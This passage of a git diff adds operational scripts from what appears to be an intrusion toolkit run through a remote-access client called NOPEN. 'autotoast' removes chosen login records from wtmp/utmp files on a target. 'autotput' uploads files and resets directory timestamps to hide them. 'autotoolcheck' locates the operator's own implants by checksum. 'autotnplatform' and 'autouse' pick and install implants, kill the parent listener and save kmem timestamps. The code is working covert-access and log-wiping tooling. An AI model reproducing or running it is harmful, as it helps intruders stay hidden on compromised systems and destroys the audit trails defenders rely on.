$opt_d if $opt_d; + foreach (@ARGV) { + unless (/(\d+)/) { + mywarn("Ignoring bad argument: $_"); + next; + } +#dbg("in autoswkill, got pid = =$1="); + push(@swpidargv,$1); + } + usage() if ($opt_h or $opt_v or !($swpidargv[-1])) ; + + $pullfile = $opt_g if $opt_g; + $deletefile = $opt_D; + $zerofile = $opt_z; + + mydie("Cannot specify -D and -z together on command line") + if ($deletefile and $zerofile); + mydie("-D/-z make no sense without -g") + if (($deletefile or $zerofile) and !$pullfile); + + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; +} #myinit diff --git a/Linux/etc/autotnplatform b/Linux/etc/autotnplatform new file mode 100755 index 0000000..d9ecb1f --- /dev/null +++ b/Linux/etc/autotnplatform @@ -0,0 +1,99 @@ +#!/usr/bin/env perl +## +$VER="1.0.0.1" ; +myinit() ; +@keyfiles = split(/\n/,`find $opbin/varkeys -type f -name incision 2>/dev/null | grep "_$ip\/"`); +@keyfiles = split(/\n/,`find $opbin/varkeys -type f -name incision 2>/dev/null | grep "$ip"`) + unless @keyfiles; +push(@keyfiles,"$opup/.keys") if (-e "$opup/.keys") ; +my (%found,%foundplatform) = (); +my $data = "" ; +foreach $keyfile (@keyfiles) { + if ($keyfile =~ /\.keys/) { + last if (keys %foundplatform) ; + } + next unless (open(KEYIN,"< $keyfile")) ; + my $gotkey = 0 ; + while () { + if ($keyfile =~ /\.keys/) { + $gotkey++ if (/INCISION/) ; + next unless $gotkey; + chomp($version=); + chomp($platformfromkeys=); + ; + next unless (/^([\da-f]+ [\da-f]+ [\da-f]+)/) ; + $keystr = $1 ; + $data = "$ip\n". + "IN v.$version\n". + "Platform: $platformfromkeys\n". + "key: $keystr\n"; + $platformfromkeys = lc $platformfromkeys; + last ; + } else { + $data .= $_ ; + $platform = $1 if /OS:(\S+)/; + $keystr = $1 if /TARG_AYT=\"(\S+\s+\S+\s+\S+)\"/; + $platform = lc $platform; + $foundplatform{$platform}++ if $platform; + } + $platformtype{1}++ if ($platform =~ /sparc.*solaris/i); + $platformtype{2}++ if ($platform =~ /86.*solaris/i); + $platformtype{3}++ if ($platform =~ /linux/i); + $platformtype{4}++ if ($platform =~ /hp/i); + $platformtype{5}++ if ($platform =~ /free.*bsd/i); + } + close(KEYIN); +} +$platformtype = ""; +unless (scalar keys %platformtype or + !(scalar keys %foundplatforminkeys)) { + $platform = $platformfromkeys; + $platformtype{1}++ if ($platform =~ /sparc.*solaris/i); + $platformtype{2}++ if ($platform =~ /86.*solaris/i); + $platformtype{3}++ if ($platform =~ /linux/i); + $platformtype{4}++ if ($platform =~ /hp/i); + $platformtype{5}++ if ($platform =~ /free.*bsd/i); +} +@typefound = keys %platformtype; +mydie("No match found for $ip") + unless (@typefound); +if (scalar @typefound == 1) { + progprint("platform:$typefound[0] $platform",STDOUT); +} else { + mywarn("More than one platform type found in $opbin/varkeys for $ip"); +} +progprint("DETAILS:\n\n$data"); + +#ENDMAIN + + +sub myinit { + use File::Basename ; + require "../etc/autoutils" ; + $vertext = "$prog version $VER\n" ; + $usagetext="\nUsage: $prog IP-or-NAME + +$prog is called by noclient in -jackpop mode. It looks in +$opbin/varkeys for the IN information for this target, and +displays it. If more than one match is found, the IN data +for all the matches is shown. + +In particular, if it is found, or if more than one target is +found but they all have the same platform type, that platform +type is shown as follows, with a code that noclient uses to +determine which noserver to upload. + + platform:1 sparc Solaris + platform:2 x86 Solaris + platform:3 Linux + platform:4 HP-UX + platform:5 FreeBSD + + +"; + mydie("bad option(s)") if (! Getopts( "hv" ) ) ; + usage() if ($opt_h or $opt_v or !$ARGV[0]); + $ip = $ARGV[0]; +# mydie("$ip not a valid IP address") +# unless ipcheck($ip); +}#myinit diff --git a/Linux/etc/autotoast b/Linux/etc/autotoast new file mode 100755 index 0000000..43e0f87 --- /dev/null +++ b/Linux/etc/autotoast @@ -0,0 +1,281 @@ +#!/bin/env python + +import autoutils,os,sys,time,re +from optparse import OptionParser + +class toast: + def __init__(self): + self.nopen = autoutils.autoutils() + self.nopen.connect() + self.options = None + + self.version = "1.0.0.4" + + sys.stdout = sys.stderr + + def locate(self): + found = False + bin = "" + + if self.nopen.state["solaris"]: + print "Loaded from previous state" + bin = "/usr/lib/acct/fwtmp" + return bin + + elif self.nopen.state["hpux"]: + print "Loaded from previous state" + bin = "/usr/sbin/acct/fwtmp" + return bin + + #Solaris + output,nopenlines,outputlines = self.nopen.doit("-lt /usr/lib/acct/fwtmp") + + if len(outputlines) > 0: + bin = "/usr/lib/acct/fwtmp" + self.nopen.state["solaris"] = True + self.nopen.saveState() + + found = True + + #HPUX + else: + output,nopenlines,outputlines = self.nopen.doit("-lt /usr/sbin/acct/fwtmp") + + if len(outputlines) > 0: + bin = "/usr/sbin/acct/fwtmp" + self.nopen.state["hpux"] = True + self.nopen.saveState() + + found = True + else: + return False + + return bin + + def grep(self, bin): + if self.options.GREP_REGEX[0] == '\"' and self.options.GREP_REGEX[-1] == '\"': + reg = self.options.GREP_REGEX[1:-1] + else: + reg = self.options.GREP_REGEX + + print "Searcing for pattern: %s" % reg + + cmd = bin + if self.options.wtmps: + cmd = "%s -X" % cmd + + cmd = "%s < %s | egrep \"%s\"" % (cmd, self.options.dfile, reg) + output,nopenlines,outputlines = self.nopen.doit(cmd) + + lines = [] + for line in outputlines: + if line: + lines.append(line.strip()) + + + if not lines: + print "Unable to locate anything" + + return True + + def tail(self, bin): + cmd = bin + if self.options.wtmps: + cmd = "%s -X" % cmd + + cmd = "%s < %s | tail -%d" % (cmd, self.options.dfile, self.options.NUM) + + output,nopenlines,outputlines = self.nopen.doit(cmd) + + print "Finished" + + def clean(self,bin): + if self.options.CLEAN_REGEX[0] == '\"' and self.options.CLEAN_REGEX[-1] == '\"': + reg = self.options.CLEAN_REGEX[1:-1] + else: + reg = self.options.CLEAN_REGEX + + print "Searching for pattern: %s" % reg + + cmd = bin + if self.options.wtmps: + cmd = "%s -X" % cmd + + cmd = "%s < %s | egrep \"%s\"" % (cmd, self.options.dfile, reg) + output,nopenlines,outputlines = self.nopen.doit(cmd) + + lines = [] + + for line in outputlines: + line = line.strip() + + if line: lines.append(line) + + if lines: + #for line in lines: + # print line + + answer = self.nopen.getInput("Do you want to clean these lines? [y/N]", default='n') + answer = answer.lower() + + if answer == 'n': + return False + + else: + print "Could not find anything" + return False + + + output,nopenlines,outputlines = self.nopen.doit("-lt .w") + if outputlines: + print ".w exists" + print "Please remove first!" + return False + + print "Cleaning These lines" + cmd = bin + + if self.options.wtmps: + cmd = "%s -X" % cmd + + cmd = """%s < %s | egrep -v "%s" | %s -ic""" % (cmd, self.options.dfile, reg, bin) + if self.options.wtmps: + cmd = "%sX" % cmd + + cmd = "%s > .w && cat .w > %s && rm -f .w" % (cmd, self.options.dfile) + + output,nopenlines,outputlines = self.nopen.doit(cmd) + + print "iyf" + + return True + + def lines(self, bin): + cmd = bin + if self.options.wtmps: + cmd = "%s -X" % cmd + + cmd = "%s < %s | tail -%s" % (cmd, self.options.dfile, self.options.LINES) + output,nopenlines,outputlines = self.nopen.doit(cmd) + + answer = self.nopen.getInput("Do you want to clean these lines? [y/N]", default='n') + answer = answer.lower() + if answer == 'n': + return False + + cmd = bin + if self.options.wtmps: + cmd = "%s -X" % cmd + + output,nopenlines,outputlines = self.nopen.doit("-lt .w") + if outputlines: + print ".w exists" + print "Please remove first!" + return False + + + output,nopenlines,outputlines = self.nopen.doit("%s < %s | wc" % (cmd, self.options.dfile)) + numLines = re.search("^\s+(\d+)", output) + if not numLines: + print "Can not determine number of lines" + return False + + numLines = numLines.group(1) + self.options.LINES = str(int(numLines) - int(self.options.LINES)) + print self.options.LINES + print numLines + if int(self.options.LINES) < 1 or int(self.options.LINES) > int(numLines): + print "Number of lines can not exceed total number of lines in the file" + return False + + cmd = "%s < %s | head -%s | %s -ic" % (cmd, self.options.dfile, self.options.LINES, bin) + if self.options.wtmps: + cmd = "%sX" % cmd + + cmd = "%s > .w && cat .w > %s && rm -f .w" % (cmd, self.options.dfile) + + output,nopenlines,outputlines = self.nopen.doit(cmd) + + print "iyf" + return True + + def main(self): + if not self.parseArgs(): + return 0 + + if self.nopen.status["targetos"].find("5.8") != -1: + print "Can not work on sparc 5.8" + return 0 + + output,nopenlines,outputlines = self.nopen.doit("-lt %s" % self.options.dfile) + if not outputlines: + print "%s does not exist" % self.options.dfile + return 0 + + bin = self.locate() + + if not bin: + print "Can not continue, unable to locate fwtmp binary" + return 1 + + + if (self.nopen.state["hpux"] or self.nopen.state["hpux_it"]) and self.options.dfile.find("utmpx") != -1: + print "Unable to run -gs toast on utmpx on HPUX" + return False + + if self.options.NUM: + self.tail(bin) + elif self.options.CLEAN_REGEX: + self.clean(bin) + elif self.options.GREP_REGEX: + self.grep(bin) + elif self.options.LINES: + self.lines(bin) + + def parseArgs(self): + print self.version + + parser = OptionParser() + parser.add_option("-t", dest="NUM", type="int", action="store", help="Tail NUM entries") + parser.add_option("-f", dest="dfile", type="string", action="store", help="/path/to/file (required)") + parser.add_option("-s", dest="wtmps", action="store_true", default=False, help="Used for wtmps files") + parser.add_option("-g", dest="GREP_REGEX", type="string", action="store", help="Passes REGEX to egrep for tail") + parser.add_option("-c", dest="CLEAN_REGEX", type="string", action="store", help="Uses REGEX to clean") + parser.add_option("-l", dest="LINES", type="string", action="store", help="Remove NUM lines") + + (options, args) = parser.parse_args(sys.argv) + + if not options.dfile: + parser.print_help() + return False + + if options.NUM and options.CLEAN_REGEX: + print "ERROR: Can not use clean and tail" + parser.print_help() + return False + + if (options.GREP_REGEX and options.CLEAN_REGEX) or (options.GREP_REGEX and options.NUM): + print "ERROR: Can not use grep with clean or tail" + parser.print_help() + return False + + if (options.dfile.find("wtmps") == -1 and options.dfile.find("btmps") == -1) and options.wtmps: + print "ERROR: Must specify wtmps file with -s" + parser.print_help() + return False + + if options.CLEAN_REGEX: + while (options.CLEAN_REGEX[0] == "\"" and options.CLEAN_REGEX[-1] != "\"") or len(parser.largs) > 1: + options.CLEAN_REGEX = "%s %s" % (options.CLEAN_REGEX, parser.largs.pop(1)) + + if options.GREP_REGEX: + while (options.GREP_REGEX[0] == "\"" and options.GREP_REGEX[-1] != "\"") or len(parser.largs) > 1: + options.GREP_REGEX = "%s %s" % (options.GREP_REGEX, parser.largs.pop(1)) + + + + self.options = options + + return True + +toast().main() diff --git a/Linux/etc/autotoolcheck b/Linux/etc/autotoolcheck new file mode 100755 index 0000000..a5f46c7 --- /dev/null +++ b/Linux/etc/autotoolcheck @@ -0,0 +1,379 @@ +#!/usr/bin/env perl +## +$VER="1.0.0.11"; +$| = 1 ; + +my (%checksums,$target_bin,$message,$messagebuiltin, + ) = (); +my $getfile = 0; + + +myinit() ; + +# We return our results via this global: +newhostvar("host_toolcheckresults",""); + +my ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, + $serverver,$targetwdir,$targetos,$targetcwd,$targetpid,$targetppid,$targetport) + = parsestatus(); + +my ($dodir,$thisbin,$touchoutput,$nothing,@touchoutput,$lsoutput,$nopenlines, + @lsoutput,$onemore,$lsrecurse) = (); +my $tmptail = "$optmp/tail.toolcheck.$nopen_mypid"; + +$target_bin = "$host_hiddendir/*" + unless ($target_bin or + @dopaths or + @dopids); +unless ($target_bin or + @dopaths or + @dopids) { + $target_bin = "$targetcwd/*"; + offerabort("You have not chosen any path or remote name, nor is there any\n". + "directory to default to. If you continue, you will default to\n". + "examining all of $target_bin."); +} + +my $sumssofar = 0; + +foreach $thisbin ($target_bin,@dopaths,@dopids) { + # TODO: Add stuff for when this is a PID + my (@thistouchoutput,@thislsoutput,$onproc) = (); + next unless $thisbin; + if ($thisbin =~ /^\d+$/) { + $onproc++; + if ($linuxtarget) { + $thisbin = "/proc/$thisbin/exe"; + } elsif ($solaristarget) { + $thisbin = "/proc/$thisbin/object/a.out"; + } else { + mydie("Cannot proceed with PID $thisbin on $nopen_server_os"); + } + } + my $dobin = $thisbin; + if ($dobin =~ m,^\s*/,) { + $dodir = dirname($dobin); + $dobin = "/".basename($dobin); + } else { + $dodir = defined $sourcedir ? $sourcedir : "$host_hiddendir/er*"; + $dobin = defined $target_bin ? "/$target_bin" : "/*"; + } + + # Get the -ls line for the TOOL binary on target. + ($touchoutput,$nothing,$lsoutput,$nopenlines,$onemore) = (); + $lsrecurse = $recursedir ? "R" : ""; + while (!$lsoutput) { + ($touchoutput,$nothing,@thistouchoutput) = doit("-ls -n$lsrecurse $dodir$dobin") + unless (isbeneathhidden($dodir)); +dbg("isbeneathhidden($dodir) is true") + if isbeneathhidden($dodir); +dbg("isbeneathhidden($dodir) is false") + unless isbeneathhidden($dodir); + dbg(" + + +in autotoolcheck0, got touchoutput=$touchoutput=(@thistouchoutput) + + +"); + push(@touchoutput,@thistouchoutput); + ($lsoutput,$nopenlines,@thislsoutput) = doit("-ls$recursedir $dodir$dobin"); + dbg(" + + +in autotoolcheck1, got lsoutput=$lsoutput=(@thislsoutput) + + +"); + # We fix @thislsoutput to be + if ($onproc) { + my @new = (); + foreach (@thislsoutput) { + dbg("ls was: $_"); + s,$thisbin.*,$thisbin,g; + # Fudge this entry to a non-zero byte file instead of a link + s/^l/-/g; + s/ 0/111/g; + push(@new,$_); + dbg("ls NOW: $_"); + } + @thislsoutput = @new; + } + + # @lsoutput is processed next + push(@lsoutput,@thislsoutput) + if (@thislsoutput); + dbg(" + + +in autotoolcheck, got line =$lsoutput=(@thislsoutput) + + +touchoutput=$touchoutput=(@thistouchoutput) + + +"); + if (!$lsoutput) { + if ($onemore) { + # Been here, done that, get out of loop + myalert("No such file or directory at $dodir$dobin"); + last; + } + if ($dodir eq "$host_hiddendir/er*") { + $dodir = $host_hiddendir; + $onemore = "\n(Trying $dodir instead)"; + } + myalert("No such file or directory at $dodir$dobin$onemore"); + last unless $onemore; + } + } +} + +dbg("GOT OUTPUT=( +".join("\n",@lsoutput)." +)"); + + +goto RETURN1 unless @lsoutput; + +my @toollisting = (); + +foreach my $line (@lsoutput) { + my ($toolsize,$month,$toolpath) = $line =~ m,^-.*\s+(\d+)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec).*\d{4}\s+(/.*)$, ; + next unless ($toolsize and $toolpath); + $toolpath2 = $toolpath; + $toolpath2 =~ s,(\s),\\\1,g; +dbg(" + +Got toolpath=$toolpath= + + +"); + # We skip these, they are SBZ or STOIC state files + next if ($toolpath =~ m,0x([0-9a-f]){8}_0x([0-9a-f]){8}_0x([0-9a-f]){8}_0x([0-9a-f]){8}$, or + $toolpath =~ m,\.[0-9a-f]{16}/[0-9a-f]{32}$, ); + # dbg("in autotoolcheck, got target size =$toolsize= and path =$toolpath="); + # Now get the checksum for each path. + + # Line count prior to -sha1sum line + $cmdoutlinecount = int(`wc -l $cmdoutfile`); + + # First, we try -sha1sum to see if positive match tehre + unlink($tmptail); +dbg(" + +Still Got toolpath=$toolpath= + + +"); + $sumssofar++; + ($sumout,$nopenlines,@sumout) = doit("-sha1sum $toolpath2"); + # We reassign $sumout, ignoring target line looking for positive hit only + ($sumout) = $sumout[$#sumout]; + + if ($sumout =~ m,\+\s+([a-f0-9]{40})\s+(.*\d\d\d\d)\s+(.+),i) { + ($nopencksum,$builddate,$toolname) = ($1,$2,$3); + if ($toolname =~ m,(\S+)\s+\[(.*\]),) { + $toolname = "\[from $2$1"; + } + $messagebuiltin .= + sprintf("%-32s at $toolpath\n",$toolname); + push(@toollisting,$line); + # Retrieve the binary, if asked, now that it's known good. + doit("-get -q $toolpath") if $getfile; + next; + } + # If -sha1sum has no positive match, we try $sumbin; + next if $notargetsumbin; + $sumbin = whichbin("cksum"); + $sumbin = whichbin("sum") unless $sumbin; + $notargetsumbin++ unless $sumbin; + next unless $sumbin; + $sumssofar++; + ($sumout,$nopenlines,@sumout) = doit("$sumbin \"$toolpath\""); + my ($toolsum) = $sumout =~ /^(\d+)\s*\d+\s*\S+.*$/; + unless ($toolsum) { + mywarn("SOMTHING ODD: $sumbin $toolpath did not produce valid $sumbin output"); + next; + } + dbg("in autotoolcheck, got TARGET $sumbin checksum =$toolsum= for path =$toolpath= size=$toolsize="); + + # The %checksums hash is keyed to the file checksum (for the correct binary we are running). + # It is a space deliminted STRING of NAMEVER,,,SIZE values. + # (Since sums ought to be unique, should be just one such per string.) + my ($validsize,$toolname) = (); + foreach my $cksum (keys %checksums) { + # Almost certainly, just one $namesize in $cksum, as sums should not overlap. + foreach my $namesize (split(/\s+/,$checksums{$cksum})) { + ($toolname,$validsize) = $namesize =~ /(.*),,,(.*)/; + #dbg("NOT GETTING PAST: + # next unless (\$toolname=$toolname and \$validsize=$validsize) + + #") unless ($toolname and $validsize); + next unless ($toolname and $validsize); + #dbg("NOT GETTING PAST: + # next unless ( + #\$toolsize=$toolsize= == \$validsize=$validsize= and + #\$toolsum=$toolsum == \$cksum=$cksum + + #") unless ($toolsize == $validsize and + # $toolsum == $cksum + # ); + unless ($toolsize == $validsize and + $toolsum == $cksum + ) { + # dbg("NO ER MATCH for $toolname"); + next; + } + dbg("in autotoolcheck, found ER MATCH: + +\$toolname=$toolname= +\$toolsize=$toolsize= == \$validsize=$validsize= and +\$toolsum=$toolsum == \$cksum=$cksum + +"); + # We found it! +# $message .= "\n\n" if $message; + $message .= + sprintf("%-32s at $toolpath\n",$toolname); + push(@toollisting,$line); + + # Retrieve the binary, if asked, now that it's known good. + doit("-get -q $toolpath") if $getfile; + } + } +} +dbg("sumssofar=$sumssofar="); +if ($sumssofar) { + my @new = (); + @touchoutput = grep /-touch /,@touchoutput; + @touchoutput = grep ! m,\.\.*$, , @touchoutput; +# foreach (@touchoutput) { +# next unless /-touch /; +# next if m,\.\.*$, ; +# s/ /\\ /g; +# push(@new,$_); +# } +# @touchoutput = grep /-touch /,@touchoutput; +# @touchoutput = grep ! m,\.\.*$, , @touchoutput; + doit(sort by_path_depth @touchoutput); +} + +$message = "\n${COLOR_FAILURE}\nVia $sumbin, found:\n${COLOR_NORMAL}\n".$message if $message; +$message .= "\n${COLOR_FAILURE}\nVia NOPEN -sha1sum, found:\n${COLOR_NORMAL}\n".$messagebuiltin + if $messagebuiltin; +if ($message) { + my $toollog = "";# Eventually have this log to UsedTools + $message = "\n${COLOR_FAILURE}\nTOOLS matching checksums found on target:\n${COLOR_NORMAL}\n". + join("\n",@toollisting). + "\n\n". + $message."\n\n"; +# "Logged in $toollog."; + +} else { + $message = "$COLOR_FAILURE No tools found$COLOR_NORMAL"; +} +progprint("\n\n$message"); +# End with true value as we may someday require this script elsewhere. +RETURN1: +1; + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + # $calleddirect is set if + $calledviarequire = 0; + if ($willautoport and $socket) { +# progprint("$prog called -gs toolcheck @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs toolcheck" ; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless $nopen_rhostname; + } + clearallopts(); + + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session when \"-gs toolcheck\" or +\"=toolcheck\" is used. + +"; + $gsusagetext="Usage: -gs toolcheck [options] [PATHs] [PIDs] + +$prog uses a checksum to positively identify our tools +on target. If NOPEN's builtin -sha1sum finds a match, that is used. +If not, the unix command cksum is used, and if that is not on target, +sum is used (with -s option if on Linux). + +If a match is found it prints the release name and target path of each +target binary that matches. + +The list of checksums is in $opetc/cksums (for NOPEN -sha1sums) and +in $opup/tools.sums.txt (for cksum and sum). This list must be +updated from time to time. It contains sums for tools like ENEMYRUN, +NOPEN, SIFT, CURSE\* parsers, etc. + +OPTIONS + + -d dir Full path to directory on target to examine + (default is STOIC hidden directory plus the glob 'er*') + -R Examine the directory recursively (forces -f to be \"\") + -f file binary to be examined (default is 'nscd') + To examine all files there, use -f \\\\* + -P PID + -g Retrieve the binary from target after examining checksum + +NOTE: If -d is NOT used and -f is a full path to a file, the directory + in -f is used as -d, overriding the default for -d. + +"; + mydie("bad option(s)") if (! Getopts( "d:f:ghvR" ) ) ; + $sourcedir = $opt_d ; + $recursedir = ""; + $recursedir = " -R" if $opt_R; + $getfile = $opt_g ; + @dopids = uniqify_array(grep /^\d+$/,@ARGV); + @dopaths = uniqify_array(grep m,^/.+$,,@ARGV); + mydie("Cannot use PIDs as targets unless on Linux or Solaris") + if (@dopids and !($solaristarget or $linuxtarget)); + + $target_bin = $opt_f if ($opt_f); + $target_bin = "" if ($recursedir); + usage() if ($opt_h or $opt_v) ; + + # Confirm our local files are as expected, populate + # %strifesize and %strifefile + my $toolsumsfile = "$opup/tools.sums.txt"; + unless (open(CKSUMS,$toolsumsfile)) { + mydie("Cannot open(CKSUMS,$toolsumsfile): $!"); + } + while () { + # The hash is keyed to the file size; the first entry is the + # checksum and the second entry is the release name of the binary. + next if (/\s*\#/ or /^\s*$/); + my ($name,$validsize,$cksum,$sum,$solarissum) = /^\s*(\S+)\s+(\d+)\s+(\d+)\s+(\d+)\s+(\d+)/; + next unless ($sum and $cksum and $validsize and $name); + # We populate %checksums with both linux sums and solaris (sum -s on linux) sums + $checksums{$sum} .= "$name,,,$validsize "; + $checksums{$solarissum} .= "$name,,,$validsize "; + $checksums{$cksum} .= "$name,,,$validsize "; + } + close(CKSUMS); + $socket = pilotstart(quiet) unless $socket; + # $sumbin is set with first call to whichbin(), which if -sha1sum + # works will never get called + $sumbin = ""; + $notargetsumbin = 0; +} #myinit diff --git a/Linux/etc/autotput b/Linux/etc/autotput new file mode 100755 index 0000000..207fe3d --- /dev/null +++ b/Linux/etc/autotput @@ -0,0 +1,74 @@ +#!/usr/bin/env perl +## NOPEN autoport script to upload a file, preserving the +## mtime/atime stamps of the destination directory with +## -ls -n and -touch -t. +$VER="1.0.0.3" ; +#use File::Basename qw(basename dirname); +use File::Basename ; +myinit() ; +############################# +# Get timestamps for $destdir +############################# +($output,$nopenlines,@output) = doit("-ls -nd $destdir"); +# -ls -n now prints out extra comment lines, but they are in $output[1+] +$touchback = $output[0]; +mydie("Error: -ls -n produced invalid output") + unless ($touchback =~ /^-touch -t \d+:\d+\s+$destdir$/); +($output,$nopenlines,@output) = doit("-ls -d $destdir"); +mydie("Error: $destdir is a link elsewhere. Use full Path for destination.") + if ($output =~ /^l/); +############################# +# Upload file +############################# +($output,$nopenlines,@output) = doit("-put $sourcefile $destfile $mode"); +############################# +# Touch back time on both file and dir +############################# +$touchbackfile = $touchback . "/" . basename $destfile ; +($output,$nopenlines,@output) = doit($touchbackfile,$touchback); + + +sub myinit { + $willautoport=1; + require "../etc/autoutils" ; + $prog = "-gs tput" ; + $ext = "$$"; + $vertext = "$prog version $VER\n" ; + die("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog); + mydie("bad option(s)") if (! Getopts( "hv" ) ) ; + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session via when \"$prog\" is used. + +"; + $gsusagetext="Usage: $prog locfile remfile [mode] + +$prog uses -ls -n to save the mtime and atime timestamps on the directory +into which the file is being uploaded, then -touch -t later to put those +timestamps back. + +OPTIONS + + -h show this usage statement + +"; + usage() if ($opt_h or $opt_v or !$ARGV[0]) ; + progprint("\n\n\nCalled as: $0 $gsoptions\n\n",$COLOR_FAILURE); + # make sure ARGV is healthy + ($sourcefile,$destfile,$mode,$error) = @ARGV; + usage("$prog requires two or three arguments") + if ($error or !$destfile or !$sourcefile); + mydie("Invalid mode") + if ($mode and !($mode =~ /^[0-7]{3,4}$/)); + mydie("Local file $sourcefile not found") + unless (-e $sourcefile and -r _); + $destdir = dirname($destfile); + $socket = pilotstart(quiet); +}#myinit + + diff --git a/Linux/etc/autouse b/Linux/etc/autouse new file mode 100755 index 0000000..4d0827a --- /dev/null +++ b/Linux/etc/autouse @@ -0,0 +1,1061 @@ +#!/usr/bin/env perl +## + +# TODO: -gs install -s SOMETHING(standalone mode install SOMETHING) + +use File::Basename ; +$VER="1.3.0.4"; + +$| = 1 ; +my $tarball=""; +my ($errcode,$errstring,$success) = (); +my ($allcontent,$allwarning) = (); + +myinit() ; +$tarball = "NULL" if $deinstallonly; +if ($ARGV[0]) { + $warning = "$ARGV[0] does not exist\n\n" if + ($tarball ne "NULL" and + ($ARGV[0] =~ /\// or ! ($ARGV[0] =~ /=/)) + ); +} +unless ($logonly) { + unless ($deinstallonly) { + while (!$tarball) { + my @rest=(); + @rest = ("none") if @ARGV; + $tarball = mygetinput("${warning}What tarball (or ABORT)?",@rest); + if (lc $tarball eq "none") { + $tarball = ""; + last; + } + mydie("User aborted") if $tarball =~ /^a/i; + unless (!$tarball or -f $tarball) { + mywarn("$tarball: File does not exist"); + $tarball = ""; + } + } + } +} + +my ($newhostinfocontent,$extrahostinfocontent, + %newhostinfocontentfile,%extrahostinfocontentfile) = (); +my ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, + $serverver,$wdir,$targetos,$targetcwd,$targetpid,$targetppid,$targetport) + = parsestatus("force"); + + +my $stoicinstalldir = "/tmp"; +$stoicinstalldir = $host_nonhiddenworkingdir if $host_nonhiddenworkingdir; +unless ($logonly or $targetcwd eq $stoicinstalldir) { + my ($ans) = mygetinput("Your working directory is not $stoicinstalldir.\n". + "Do you want to -cd to $stoicinstalldir first?","Y"); + if ($ans eq "y") { + my ($output,$nopenlines,@output) + = doit("-cd $stoicinstalldir"); + mydie("Up-arrow and run it again now that you are in $stoicinstalldir"); + } else { + newhostvar("host_workingdir",$targetcwd); + newhostvar("host_nonhiddenworkingdir",$targetcwd); + } +} + +if ($dotpath) { + my ($newpath) = grep /PATH=/,nopenaddpath("."); + mydie("This is bad, our PATH should start with $targetcwd and instead it is: PATH=$newpath") + unless ($newpath =~ m,^PATH=$targetcwd:,); +} + +my $hostfile = "$opdown/hostinfo.$nopen_rhostname"; +if (! -f $hostfile and -f "$hostfile.0000") { + my @list = split(/\n/,`ls -rt1 $hostfile*`); + rename($list[$#list],$hostfile); +} + +offerabort + ("Normally, NOPEN should have run autodone by this time and\n\n". + " $hostfile\n\n". + "would exist by now. You can abort now and run:\n\n". + " -gs auto new\n\n". + "if you want a complete hostinfo file for $prog to append to.\n\n". + "If you continue, $prog will create a partial hostinfo file." + ) unless -s $hostfile; + +my $count = 0; +$count++ while -e "$optmp/${nopen_rhostname}.install.$count"; +$count-- if ($logsuccess or $logfailure); +my $installdir = "$optmp/${nopen_rhostname}.install.$count"; +if ($deinstallonly and ! -s $tarball) { + $installdir = "$opdir"; +} else { + unless (-d $installdir) { + mkdir $installdir or mydie("Could not create $installdir"); + } + chdir $installdir or mydie("Could not cd to $installdir"); +} + +# This part is only when we have a tarball +dbg("Calling: handle($tarball) if tarball=$tarball or logonly=$logonly;"); +my $progress = handle($tarball) if ($tarball or $logonly); + +## END MAIN ## + +sub handle { + local ($targetball) = (@_); + my $baseball = basename $targetball; +# dbg("In handle(@_)"); + my %toolindex = (); # key=0-N index value=toolname + my $output; + if (!$logonly or $logfailureball or $logsuccessball) { + mydie("Could not properly untar $tarball:\n".`cat $installdir/tar.$baseball.err`) unless + `tar xvjf $targetball 2>$installdir/tar.$baseball.err` or + $targetball eq "NULL"; + progprint($COLOR_NORMAL."\n\n\n". + "Just unpacked in $installdir:\n\n". + `cd $installdir ; find . -name tar.$baseball.err -prune -o -type f -ls | sed "s/.* root //g"`. + "\n\ncat ./etc/VERSION\n". + `cat $installdir/etc/VERSION 2>/dev/null`); + $logsuccess = $logsuccessball if $logsuccessball; + $logfailure = $logfailureball if $logfailureball; + } + my @savepids = ($targetpid); + unless ($logonly) { + if ($targetppid > 1) { + my ($ans) = mygetinput + ("You are connected to a listener on port $targetport with pid $targetppid.\n\n". + "You must orphan yourself from that parent, which $prog will do\n". + "for you if you ontinue (i.e., it will kill your parent PID then start a\n". + "fresh listener).\n\n". + "How do you want to proceed (ORPHAN,ABORT)?", + "ORPHAN","A",ABORT,); + mydie("User aborted") if $ans eq "a"; + if ($ans eq "o") { + doit("kill -9 $targetppid", + "-listen $targetport",); + ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, + $serverver,$wdir,$targetos,$targetcwd,$targetpid,$targetppid,$targetport) + = parsestatus("force"); + mydie("Parent PID ($targetppid) not 1 after killing parent.\n\n". + "Big Twinkie Bad here....") + unless ($targetppid eq $initpid); + sleep 2; +#ELSE WAS the CONTINUE case, now deprecated +# } else { +# push @savepids,$targetppid; + } + } + if ($solaristarget) { + my ($output) = myfiletimesave("/devices/pseudo/mm\@0:kmem"); + offerabort("OUTPUT=$output=\n". + "Something appears to be wrong. $prog just tried to save the\n". + "existing timestamps of /devices/pseudo/mm\@0:kmem with -ls -n,\n". + "but the myfiletimesave(\"/devices/pseudo/mm\@0:kmem\") call just\n". + "executed did not return the expected output. Abort and get help\n". + "unless you're directed to continue","A") + unless ($output); + my $incisiondir = "/platform/SUNW,SystemEngine"; + $incisiondir = "/platform/dvri86pc" + if $inteltarget; + # FOR TESTING, uncomment next two lines: + #doit("mkdir /var/tmp/kilroy;rmdir /var/tmp/kilroy"); + #$incisiondir = "/var/tmp/kilroy"; + my $parentdir = dirname($incisiondir); + my $regexp = basename($incisiondir); + ($output,$nopenlines,@output) + = doit("-strings $parentdir"); + if (grep /^$regexp$/ ,@output) { + offerabort + 